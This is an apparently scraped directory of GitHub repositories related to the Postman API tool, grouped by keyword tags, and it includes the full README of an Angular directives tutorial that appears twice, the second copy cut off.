collection, dynamic, dynamically, export, powerful, proving, test, testing, tool 		As we all know POSTMAN is a very powerful tool for API Testing this is a Simple POC for proving how can we use postman for API testing, export it collection dynamically and run it from any CI tool 0 stars 0 watchers 0 forks
api-evangelist/salesforce-api-collection-builder
builder, collection, dynamic, dynamically, list, salesforce 		This is a Postman collection for dynamically building a Postman collection. 0 stars 0 watchers 0 forks
treetrunkz/nodeapp
access, accessed, application, dynamic, dynamically, express, install, interface, list, module, modules, mongo, mongoose, multiple, node, nodejs, parse, parser, server, todo, tree, user, users 		This is a nodejs application. It is a todo list that can be accessed and created by multiple users. The API is accessed by Postman. The server and interface is set up to POST and GET dynamically. To populate node_modules `npm install ejs, express, mongoose, body-parser --save -g` + tsc -w 0 stars 0 watchers 0 forks

async (3 listings) (Back to Top)

davellanedam/node-express-mongodb-jwt-rest-api-skeleton
angular, async, consume, express, frontend, github, http, https, mongo, mongod, mongodb, node, react, rest, skeleton, starter, sync 		This is a basic API REST skeleton written on JavaScript using async/await. Great for building a starter web API for your front-end (Android, iOS, Vue, react, angular, or anything that can consume an API). Demo of frontend in VueJS here: https://github.com/davellanedam/vue-skeleton-mvp 0 stars 0 watchers 119 forks
rgamba/postman
async, communication, microservice, proxy, service, sync 		Reverse proxy for async microservice communication 29 stars 29 watchers 1 forks
BlackGoblin/NetworkRequestor
async, library, network, send, sync 		a simple network requester. something like Postman. the purpose of this reposetory is to create a async library for sending requests. 0 stars 0 watchers 1 forks

extract (3 listings) (Back to Top)

thewheat/intercom-postman-collection
action, collection, developer, developers, extract, file, generate, http, reference, test, version 		A Postman Collection file for the Intercom API http://developers.intercom.com/reference Includes extraction code to generate the latest version 7 stars 7 watchers 7 forks
pbauzyte/postman_data_extractor
actor, data, description, extract, extractor, script 		No description available. 0 stars 0 watchers 0 forks
pozil/postman-extractor
actor, export, extract, extractor, file, files, resource, resources, source, util, utility, version, versioning 		Postman Extractor (pmx) is a utility that extracts/compacts resources from Postman export files for easier versioning. 0 stars 0 watchers 0 forks

simulates (3 listings) (Back to Top)

marcochin/Wiki-Db-API
article, content, data, express, manipulate, mongo, mongod, mongodb, mongoose, route, send, server, simulate, simulates, wiki, wikipedia 		Created a server that has a db that simulates wikipedia. You have an article title and an article content. An API is created for you to manipulate data on the db. It handles GET POST PUT PATCH DELETE. Use Postman to interact with the API. There is no UI. Used mongoose to interact with mongodb. Used express to send API handle route calls and send back responses. 0 stars 0 watchers 0 forks
pmcdowell-okta/okta-opp-postman-collection
agent, collection, postman collection, simulate, simulates 		A postman collection which simulates an Okta On Premise Provisioning agent request 0 stars 0 watchers 0 forks
zyzz19951230/RequestSimulator
design, designed, development, program, python, server, simulate, simulates, test, tests 		A python program that simulates request to a server and handle its response just like Postman, it‘s designed to run tests for web developments. 0 stars 0 watchers 0 forks

retail (3 listings) (Back to Top)

RamanaPeddinti/Basic-pycharm-program-in-retail-data
data, process, program, retail 		Analysed and preprocessed the retail data using PYCHARM with FLASK (frame work) and deployed in POSTMAN API 1 stars 1 watchers 0 forks
electrumpayments/money-transfer-retailer-test-pack
implementation, implementations, money, payment, retail, script, scripts, server, test, testing 		Test server and Postman scripts for testing Money Transfer Retailer Interface implementations 0 stars 0 watchers 0 forks
Dilshan97/simple-microservice
customer, details, microservice, mobile, order, phone, place, require, required, retail, service, store 		ABC Company has started with a small mobile phone retail store in Colombo. It is required to capture order details and provide unique identifier for the customer for the order that is placed from the store front 0 stars 0 watchers 0 forks

concourse (3 listings) (Back to Top)

atzawada/concourse-postman-resource
concourse, course, resource, source, test, test suite 		Concourse resource to run postman test suites. 0 stars 0 watchers 0 forks
atzawada/concourse-postman-task
concourse, course, running, task, test, tests 		A task to better handle running Postman tests in Concourse. 0 stars 0 watchers 0 forks
mkreibe/ConcourseCI-Newman
concourse, course, example, hookup 		An example of how to hookup concourse CI to Newman (the CLI for Postman). 0 stars 0 watchers 0 forks

names (3 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Cazaimi/postman-environment-generator
collection, environment, generator, names, variable 		An app that creates a Postman environment for all the variable names in your Postman collection 1 stars 1 watchers 1 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks

client side (3 listings) (Back to Top)

boffey/postman
client, client side, design, designed, form, plugin, program, validation 		A jQuery form validation plugin designed to help programmers validate client side forms 1 stars 1 watchers 1 forks
alexanderkounadis/Angular-7-CRUD
client, client side, consume, consumes, method, methods, require, required, retrieve, server 		Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. 0 stars 0 watchers 1 forks
alexanderkounadis/Angular-7-CRUD-WebAPI
client, client side, consume, consumes, method, methods, require, required, retrieve, server 		Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. 0 stars 0 watchers 0 forks

messenger (3 listings) (Back to Top)

amuramoto/messenger-platform-postman-collection
collection, delicious, form, messenger, platform 		A delicious Postman collection for all your Messenger Platform needs. 0 stars 0 watchers 25 forks
HristoMalakov/RESTful-APIs-with-JAX-RS
application, messenger, test, tested 		Simple messenger application implemented with Jersey and tested with Postman 0 stars 0 watchers 0 forks
serglit72/Smack
messenger, mongo 		SMACK iOS instant messenger (socket, Postman API, mongoDB) 0 stars 0 watchers 0 forks

tours (3 listings) (Back to Top)

davidenoma/Restful-Explore-California-App
boot, data, form, format, information, location, package, packages, rating, rest, restful, service, spring, spring boot, tours 		A restful spring boot micro service based on spring data JPA and spring rest. It allows requests to the web service that returns information about tours, tour packages and tour ratings about locations in california. 1 stars 1 watchers 0 forks
zachdj/rpp-algorithms
find, method, methods, tours 		Implementation of two heuristic methods to find good tours for the Rural Postman Problem (RPP) 0 stars 0 watchers 1 forks
louisjuliendo/Natours
book, booking, tours, web app 		🌇 An awesome tour booking web app written in NodeJS, Express, MongoDB. 0 stars 0 watchers 0 forks

instances (3 listings) (Back to Top)

anandjat05/admin-service-api
admin, coverage, image, instance, instances, pipeline, service, services, stat, test, testing, unit, vulnerability 		Project based on Micro-services, I created REST API's, wrote Junit, testing the coverage, bug smell, vulnerability analysis on Sonarqube and static test analysis using Jococo, Jenkins, Postman and Newman deploy through the CI/CD pipeline in ECS cluster using EC2 instances, Dockerhub, Docker Container/image. 1 stars 1 watchers 1 forks
matheusota/CPP-Celina
collection, instance, instances 		Trying to solve Chinese Postman Problems based on real world instances (garbage collection). 0 stars 0 watchers 0 forks
Miheev/newman-runner
collection, collections, instance, instances, multiple, newman, runner 		The Runner of API Integration Tests. Run Postman based collections via multiple Newman instances. 0 stars 0 watchers 0 forks

favorite (3 listings) (Back to Top)

rishabhcha/grpc-test
endpoint, favorite, grpc, rest, service, test, tool 		Test your Grpc service as easy as a rest endpoint with your favorite API tool like Postman or Swagger. 6 stars 6 watchers 0 forks
RachellCalhoun/craftsite
django, ember, favorite, file, image, images, login, message, posts, profile, site, unit, upload 		This is a crafts and food community site. There is sign-up/login and out. Logged in members can message eachother with Postman-django app. All members create their own profile with image, and info. They can also upload favorite craft/food images, comment on others posts or ask questions. 1 stars 1 watchers 2 forks
jannemann/postman-ci
favorite, integrate, newman, node, tool, tools 		node.js cli tools to integrate postman and newman with your favorite CI 0 stars 0 watchers 1 forks

featured (3 listings) (Back to Top)

CassadyCampos/CoronavirusAPI
featured 		Web app created to interact with Covid-19 Coronavirus Api featured on postman. 0 stars 0 watchers 0 forks
pgmorgan/task-manager-api
featured, manager, morgan, task 		A full featured Task Management HTTP REST API built with Node.js and MongoDB. 0 stars 0 watchers 0 forks
pigsy/rake
client, dynamic, featured, rake, service, services, test 		Rake is a full-featured dynamic RPC client for lets you test your RPC services like Paw or Postman for HTTP APIs. 0 stars 0 watchers 0 forks

combine (3 listings) (Back to Top)

akshaymittal143/BookAPI-Web-Services
combine, combined, data, development, end to end, express, integration, light, lightweight, powerful, quickly, server, service, services, test, tests, tool, unit, verb, verbs 		Node.js is a simple and powerful tool for back-end development. When combined with express, you can create lightweight, fast, scalable APIs quickly and simply. which will walk through how to stand up a lightweight Express server serving truly RESTful services using Node.js, Mongoose, and MongoDB. We will implement all of the RESTful verbs to get, add, and update data from our service. We will also spend some time working through unit and end to end integration tests for our services. 1 stars 1 watchers 0 forks
Ne4istb/postman-combine-collections
collection, collections, combine, command, command line, tool 		A command line tool to combine several Postman collections into one 0 stars 0 watchers 2 forks
PhanNN/postman-combine
collection, collections, combine, jenkins, newman, postman collection, postman collections, result, running 		Using to combine many postman collections to one (ex: for running newman + jenkins with one result) 0 stars 0 watchers 0 forks

reusable (3 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. 